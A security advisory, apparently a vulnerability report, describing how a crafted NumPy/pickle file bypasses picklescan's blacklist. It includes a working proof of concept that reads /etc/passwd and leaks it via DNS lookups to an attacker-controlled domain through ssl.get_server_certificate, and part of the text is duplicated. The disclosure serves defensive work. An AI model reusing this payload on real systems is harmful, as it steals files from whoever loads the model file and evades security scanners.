Summary
Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.
Details
picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging ssl.get_server_certificate as the callable function in the pickle payload. Since ssl is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.
The payload avoids flagged modules and instead uses linecache (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to ssl.get_server_certificate, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.
The payload executes the following steps:
- Reads sensitive local file content using
linecache module
- Encodes the data for DNS exfiltration
- Constructs a malicious domain name using a third party service
dnslog.cn
- Triggers a DNS resolution via
ssl.get_server_certificate
- Leaks the encoded file content to the attacker
PoC
Before running the PoC change the fqdn to your own or a third party that you control. In this PoC we used fqdn = f"{subdomain}.ctmc2q.dnslog.cn".
import numpy as np
def create_malicious_model():
# Define the payload class
class DNSLogPayload:
def __reduce__(self):
# Step 1: read a line from /etc/passwd
linecache = __import__("linecache")
first_line = linecache.getline("/etc/passwd", 1).strip()
# Step 2: Sanitize and embed it as a DNS subdomain
subdomain = first_line.replace(":", "_").replace("/", "_")
fqdn = f"{subdomain}.dns-logger.invalid"
# Step 3: Use ssl.get_server_certificate to trigger DNS resolution
ssl_mod = __import__("ssl")
return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))
# Wrap the payload in a NumPy object array
arr = np.array([DNSLogPayload()], dtype=object)
# Save to .npy file
np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)
def load_model(model):
try:
return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1)
except Exception:
raise ValueError("Invalid file")
if __name__ == "__main__":
create_malicious_model()
model = "dnslog_trigger_payload.npy"
print("[i] Loading and executing the model")
data = load_model(model)
Impact
- Evade detection: Bypasses the latest version of picklescan's blacklist.
- Exfiltrate sensitive local files to an attacker controlled DNS
References
david3107 Reporter
Summary
Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.
Details
picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging
ssl.get_server_certificateas the callable function in the pickle payload. Sincesslis a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.The payload avoids flagged modules and instead uses
linecache(also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed tossl.get_server_certificate, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.The payload executes the following steps:
linecachemodulednslog.cnssl.get_server_certificatePoC
Before running the PoC change the
fqdnto your own or a third party that you control. In this PoC we usedfqdn = f"{subdomain}.ctmc2q.dnslog.cn".Impact
References